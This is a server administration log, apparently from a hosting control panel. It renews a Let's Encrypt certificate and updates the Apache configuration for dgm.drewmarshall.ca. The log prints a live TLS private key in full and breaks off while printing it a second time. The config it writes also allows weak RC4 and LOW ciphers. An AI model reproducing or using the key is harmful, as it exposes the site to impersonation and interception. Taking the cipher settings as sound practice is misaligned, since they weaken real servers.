chmod 666 akRES0XCUNxsqDxAXm9kx2zIzbSBlFjKgPBA5JEhaHA
2025-08-30 06:03:49:
chmod 755 /tmp/pkp447939; /tmp/pkp447939; rm /tmp/pkp447939
2025-08-30 06:03:49:
2025-08-30 06:03:56: Establishing a connection
2025-08-30 06:03:56:
PUT: /tmp/pkp278829
#!/bin/bash
mkdir -p "/var/www/drewmarshall_dgm/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_dgm/.well-known/acme-challenge/"
rm akRES0XCUNxsqDxAXm9kx2zIzbSBlFjKgPBA5JEhaHA
2025-08-30 06:03:57:
chmod 755 /tmp/pkp278829; /tmp/pkp278829; rm /tmp/pkp278829
2025-08-30 06:03:57:
2025-08-30 06:03:57: Establishing a connection
2025-08-30 06:03:57:
PUT: /tmp/pkp346871
#!/bin/bash
temp_file=$(mktemp)
TARGET=a6135b8cd991ffd075dad22986ca2d2f.crt
cat > $temp_file <<'endmsg'
a8:05:1d:7e:2f:d6:55:63:8d:98:63:92:db:66:19:c8
-----BEGIN CERTIFICATE-----
MIIFAjCCA+qgAwIBAgISBpLJ8JQjgnhcfNgxJURuIzeNMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwODMwMDUwNTI0WhcNMjUxMTI4MDUwNTIzWjAeMRwwGgYDVQQD
ExNkZ20uZHJld21hcnNoYWxsLmNhMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAqhj+680A8ar9/RSpbWLG62Z7nSK6PeOfREPAecL9hF6j6jI9mwKGQIrL
8itEZNTYwkKPybZRE+HMsG1/b/1EeykN6aakY1YkXdb93dx6sAuRIQAZtYojBjMw
WU2KgwjW4gZq5GQJYFPPOBFNiy/ZHAID87Hh9Zmz8pYvRKibOGNejoTBp1vSCTd8
ztUuGZE/j3gs8ZjxNAJJIID10Rc18jGxwosYWgnrTF7wVYyeB7bbOjWYP9eBOXW2
eGODDHYuZ+aCi3Xcdsw8x6gjHvy/pJ6A3nBi/S5VC+0BcwBTwyGQwokBqR4OU83c
sNQNMy9a+tylvabG7AV0JJb+eVa3OwIDAQABo4ICIzCCAh8wDgYDVR0PAQH/BAQD
AgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBSzr1w78sigtMGtUjFi48yCP80yLDAfBgNVHSMEGDAWgBQAtSny
LY5vMeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0
dHA6Ly9yMTIuaS5sZW5jci5vcmcvMB4GA1UdEQQXMBWCE2RnbS5kcmV3bWFyc2hh
bGwuY2EwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3IxMi5jLmxlbmNyLm9yZy8xNC5jcmwwggEEBgorBgEEAdZ5AgQCBIH1BIHy
APAAdgCkQsUGSWBhVI8P1Oqc+3otJkVNh6l/L99FWfYnTzqEVAAAAZj5k0KXAAAE
AwBHMEUCIHqj6ag4Qy04W2VBVpzcVxDzRuGKsYdEbG5LNMSY928WAiEAnzXjOWDB
GvGDQ71T4xCFMiwlNlYyfK+7ciUjkfV0i2IAdgDM+w9qhXEJZf6Vm1PO6bJ8IumF
XA2XjbapflTA/kwNsAAAAZj5k0qJAAAEAwBHMEUCICUvtyAx+3bbNV7r4vCZgQJi
1aNFlDjAs2zHmraEnFn9AiEA3fM+ghzCWXNzHrBGDznulqSzgt+KMgQMYcYWGm5q
8OkwDQYJKoZIhvcNAQELBQADggEBAG+Uq/vxhOfk5h582GkkCSRRstTzEm0OnWhf
92tQwSjBWHkQ66BMhOBU3Z+JI8Vy8/IaQbbStkZE67QEc/cU1zPynWaAbQpDoifk
Oiu94AVxYJzdFs92bCYDHAFk3FlNEO4Qx6QJlaW72Ej81jPnLrt3jGxZeD3pr6P3
K9RjEm7WUsww+LQLhdTMaJMoPTR4r5uJ4a+haalTHBHBNBE6T8Bum+50S6F+Lp+x
uEIH6cOPeU19Qvq4Eq9SYWzdTRotxyPpbQ/EpXij6WdLjn6chQ6dWXcsBir5V83T
TGHm9qbX5XQuL8fm2YLe0d97uMShoA/QV6zkDzkdTLwrNCez88s=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCqGP7rzQDxqv39
FKltYsbrZnudIro9459EQ8B5wv2EXqPqMj2bAoZAisvyK0Rk1NjCQo/JtlET4cyw
bX9v/UR7KQ3ppqRjViRd1v3d3HqwC5EhABm1iiMGMzBZTYqDCNbiBmrkZAlgU884
EU2LL9kcAgPzseH1mbPyli9EqJs4Y16OhMGnW9IJN3zO1S4ZkT+PeCzxmPE0Akkg
gPXRFzXyMbHCixhaCetMXvBVjJ4Htts6NZg/14E5dbZ4Y4MMdi5n5oKLddx2zDzH
qCMe/L+knoDecGL9LlUL7QFzAFPDIZDCiQGpHg5Tzdyw1A0zL1r63KW9psbsBXQk
lv55Vrc7AgMBAAECggEALRKOikE6XM9omiVdd+TSvRHc85h+LWQhkd86I4mtz+Oc
H7TMakTS+ktNG5CngOh9v4wPue2bsl8E9EMvn6dG/DO2whEsQj5TSKJthtqjj/6g
qFP0fAxsl3n898z6RRqUhjQZIwf3DBVpNXwwRg+Zwjguf+bE72WZL1DomZLr/pa3
oXpSEamHnNfspP8BaNHU+hFmTZAKuoBaoefW8ZigRORIyJC0qzcb6UZxqHyU6hPv
2ayqhlSrMHAXIRJBqmzQWQrJFSMy5l1L0heKDl3baVG9Ep5q+D5OrgAKwtZd+tlM
93YWZfza723SFn/pnOH1/vnapEGsAizWfrzYTK8OwQKBgQDSWUfG/PEOmkvPbqgM
Cb6vnENo4yb3iCpjFVAXmXxwsA8jrff17YyYEoUk4Ttf9vAl/EYpJ/ooGQk/Zkpv
RN7RNv4n0BVizhj5EcXe5x+8glhkCS0oQijX0P60Re+e1bh6egSOOwWgNvTbFJ9+
R+IaVL4HOlag4BpccN+P0/rzSwKBgQDPA2mukhHxL2vY0eWhjGYgkKsxdAnHRuhN
ykrFXxao35hQge8w/VAU7EapTKjJNw/bKaS4qvd6IZWKirErLdS04BQL1jtL94jd
iCLF2xyFjINm2/4Cd6nm1VoFUDE23r0WJ3OWuFCcZYqWwmpGQvXw0yvzeyRGL2c8
NUYsUPzl0QKBgQCJX/eJlI4WHFzgdwNXAVJAvEwmBxve01XjafrpvrrPmZv5kFd9
jIuikY3U/Sfaz5odJLnpjQtJ/rfUaQi5zH+8oS6xb6tX4QPcPmg84DMQ2QvDIV8V
iMfF0t9Vess4r5mQm3m4LgHJlbqqDbjwLyASVD/a1pXW8SUmNC09cJLXKwKBgGxV
s+PIy5z1nTHtvoeJixS1wPFzcX6ZLA8xs2mQ9rHPuc1AAmYX2uXoNJ564MXUi/a8
11hRGIwQsUq8hDU9mdhCgBsltQhvdW/Bw7jZjxaQz19v94FhEEgeFSs8qVS2wiuq
38HbmUwPk7SL78PvXPf3+0NDiVs1iYgntR6SD5dRAoGAdsGF7qdvrOwqlSS0MZWv
u3kaU24hkzwrWMHzNW6NBLK32bje0c6TwdviOejQY3OwYG0fSSJDkSu7LSYHw7AO
bf6uNbxsZB0r4bFMHAKmWS4p+PM4T5U9R0GEOuraCzpz1LOCS8B3wR0DZyybEAig
z1907R6cfJCUuDV4ZnxuJ/c=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-08-30 06:03:57:
chmod 755 /tmp/pkp346871; /tmp/pkp346871; rm /tmp/pkp346871
2025-08-30 06:03:57:
dir=/etc/ssl/certs
2025-08-30 06:03:57:
PUT: /tmp/pkp133706
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-08-30 06:03:57:
chmod 755 /tmp/pkp133706; /tmp/pkp133706; rm /tmp/pkp133706
2025-08-30 06:03:57:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf 43
<VirtualHost *:80>
ServerName dgm.drewmarshall.ca
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/drewmarshall_dgm
<Directory /var/www/drewmarshall_dgm>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/dgm_access.log combined
ErrorLog /var/log/apache2/drewmarshall/dgm_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName dgm.drewmarshall.ca
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/a6135b8cd991ffd075dad22986ca2d2f.crt
DocumentRoot /var/www/drewmarshall_dgm
<Directory /var/www/drewmarshall_dgm>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/dgm_secure_access.log combined
ErrorLog /var/log/apache2/drewmarshall/dgm_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-08-30 06:03:57:
PUT: /tmp/pkp489263
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=drewmarshall_dgm_ca.conf
TARGET=/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName dgm.drewmarshall.ca
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/drewmarshall_dgm
<Directory /var/www/drewmarshall_dgm>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/dgm_access.log combined
ErrorLog /var/log/apache2/drewmarshall/dgm_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName dgm.drewmarshall.ca
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/a6135b8cd991ffd075dad22986ca2d2f.crt
DocumentRoot /var/www/drewmarshall_dgm
<Directory /var/www/drewmarshall_dgm>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/dgm_secure_access.log combined
ErrorLog /var/log/apache2/drewmarshall/dgm_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf)= /etc/apache2//etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf= 1'
fi
2025-08-30 06:03:57:
chmod 755 /tmp/pkp489263; /tmp/pkp489263; rm /tmp/pkp489263
2025-08-30 06:03:57:
2025-08-30 06:03:57:
PUT: /tmp/pkp894506
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-08-30 06:03:57:
chmod 755 /tmp/pkp894506; /tmp/pkp894506; rm /tmp/pkp894506
2025-08-30 06:03:57:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-08-30 06:03:57: Establishing a connection
2025-08-30 06:03:57:
PUT: /tmp/pkp685838
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-08-30 06:03:57:
chmod 755 /tmp/pkp685838; /tmp/pkp685838; rm /tmp/pkp685838
2025-08-30 06:03:57:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
alias www.bucketgigs.ca
port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
alias www.dgmarshall.ca
port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
alias www.dgmarshall.com
port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
alias www.drewmarshall.ca
port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
alias www.hillrunfarm.ca
port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
alias www.ineedtosaythis.com
port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
alias sosretreats.ca
alias www.sosretreats.ca
alias www.sosretreatscanada.com
alias sosretreatscanada.ca
alias www.sosretreatscanada.ca
*:443 is a NameVirtualHost
default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
alias www.bucketgigs.ca
port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
alias www.dgmarshall.ca
port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
alias www.dgmarshall.com
port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
alias www.drewmarshall.ca
port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
alias www.hillrunfarm.ca
port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
alias www.ineedtosaythis.com
port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
alias sosretreats.ca
alias www.sosretreats.ca
alias www.sosretreatscanada.com
alias sosretreatscanada.ca
alias www.sosretreatscanada.ca
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-08-30 06:03:57:
PUT: /tmp/pkp868493
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-08-30 06:03:57:
chmod 755 /tmp/pkp868493; /tmp/pkp868493; rm /tmp/pkp868493
2025-08-30 06:03:57:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf 1339
<VirtualHost *:80>
ServerName dgm.drewmarshall.ca
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/drewmarshall_dgm
<Directory /var/www/drewmarshall_dgm>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/dgm_access.log combined
ErrorLog /var/log/apache2/drewmarshall/dgm_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName dgm.drewmarshall.ca
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/a6135b8cd991ffd075dad22986ca2d2f.crt
DocumentRoot /var/www/drewmarshall_dgm
<Directory /var/www/drewmarshall_dgm>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/dgm_secure_access.log combined
ErrorLog /var/log/apache2/drewmarshall/dgm_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-08-30 06:03:57:
PUT: /tmp/pkp507545
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/a6135b8cd991ffd075dad22986ca2d2f.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-08-30 06:03:57:
chmod 755 /tmp/pkp507545; /tmp/pkp507545; rm /tmp/pkp507545
2025-08-30 06:03:58:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/a6135b8cd991ffd075dad22986ca2d2f.crt 5357
a8:05:1d:7e:2f:d6:55:63:8d:98:63:92:db:66:19:c8
-----BEGIN CERTIFICATE-----
MIIFAjCCA+qgAwIBAgISBpLJ8JQjgnhcfNgxJURuIzeNMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwODMwMDUwNTI0WhcNMjUxMTI4MDUwNTIzWjAeMRwwGgYDVQQD
ExNkZ20uZHJld21hcnNoYWxsLmNhMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAqhj+680A8ar9/RSpbWLG62Z7nSK6PeOfREPAecL9hF6j6jI9mwKGQIrL
8itEZNTYwkKPybZRE+HMsG1/b/1EeykN6aakY1YkXdb93dx6sAuRIQAZtYojBjMw
WU2KgwjW4gZq5GQJYFPPOBFNiy/ZHAID87Hh9Zmz8pYvRKibOGNejoTBp1vSCTd8
ztUuGZE/j3gs8ZjxNAJJIID10Rc18jGxwosYWgnrTF7wVYyeB7bbOjWYP9eBOXW2
eGODDHYuZ+aCi3Xcdsw8x6gjHvy/pJ6A3nBi/S5VC+0BcwBTwyGQwokBqR4OU83c
sNQNMy9a+tylvabG7AV0JJb+eVa3OwIDAQABo4ICIzCCAh8wDgYDVR0PAQH/BAQD
AgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBSzr1w78sigtMGtUjFi48yCP80yLDAfBgNVHSMEGDAWgBQAtSny
LY5vMeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0
dHA6Ly9yMTIuaS5sZW5jci5vcmcvMB4GA1UdEQQXMBWCE2RnbS5kcmV3bWFyc2hh
bGwuY2EwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3IxMi5jLmxlbmNyLm9yZy8xNC5jcmwwggEEBgorBgEEAdZ5AgQCBIH1BIHy
APAAdgCkQsUGSWBhVI8P1Oqc+3otJkVNh6l/L99FWfYnTzqEVAAAAZj5k0KXAAAE
AwBHMEUCIHqj6ag4Qy04W2VBVpzcVxDzRuGKsYdEbG5LNMSY928WAiEAnzXjOWDB
GvGDQ71T4xCFMiwlNlYyfK+7ciUjkfV0i2IAdgDM+w9qhXEJZf6Vm1PO6bJ8IumF
XA2XjbapflTA/kwNsAAAAZj5k0qJAAAEAwBHMEUCICUvtyAx+3bbNV7r4vCZgQJi
1aNFlDjAs2zHmraEnFn9AiEA3fM+ghzCWXNzHrBGDznulqSzgt+KMgQMYcYWGm5q
8OkwDQYJKoZIhvcNAQELBQADggEBAG+Uq/vxhOfk5h582GkkCSRRstTzEm0OnWhf
92tQwSjBWHkQ66BMhOBU3Z+JI8Vy8/IaQbbStkZE67QEc/cU1zPynWaAbQpDoifk
Oiu94AVxYJzdFs92bCYDHAFk3FlNEO4Qx6QJlaW72Ej81jPnLrt3jGxZeD3pr6P3
K9RjEm7WUsww+LQLhdTMaJMoPTR4r5uJ4a+haalTHBHBNBE6T8Bum+50S6F+Lp+x
uEIH6cOPeU19Qvq4Eq9SYWzdTRotxyPpbQ/EpXij6WdLjn6chQ6dWXcsBir5V83T
TGHm9qbX5XQuL8fm2YLe0d97uMShoA/QV6zkDzkdTLwrNCez88s=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCqGP7rzQDxqv39
FKltYsbrZnudIro9459EQ8B5wv2EXqPqMj2bAoZAisvyK0Rk1NjCQo/JtlET4cyw
bX9v/UR7KQ3ppqRjViRd1v3d3HqwC5EhABm1iiMGMzBZTYqDCNbiBmrkZAlgU884
EU2LL9kcAgPzseH1mbPyli9EqJs4Y16OhMGnW9IJN3zO1S4ZkT+PeCzxmPE0Akkg
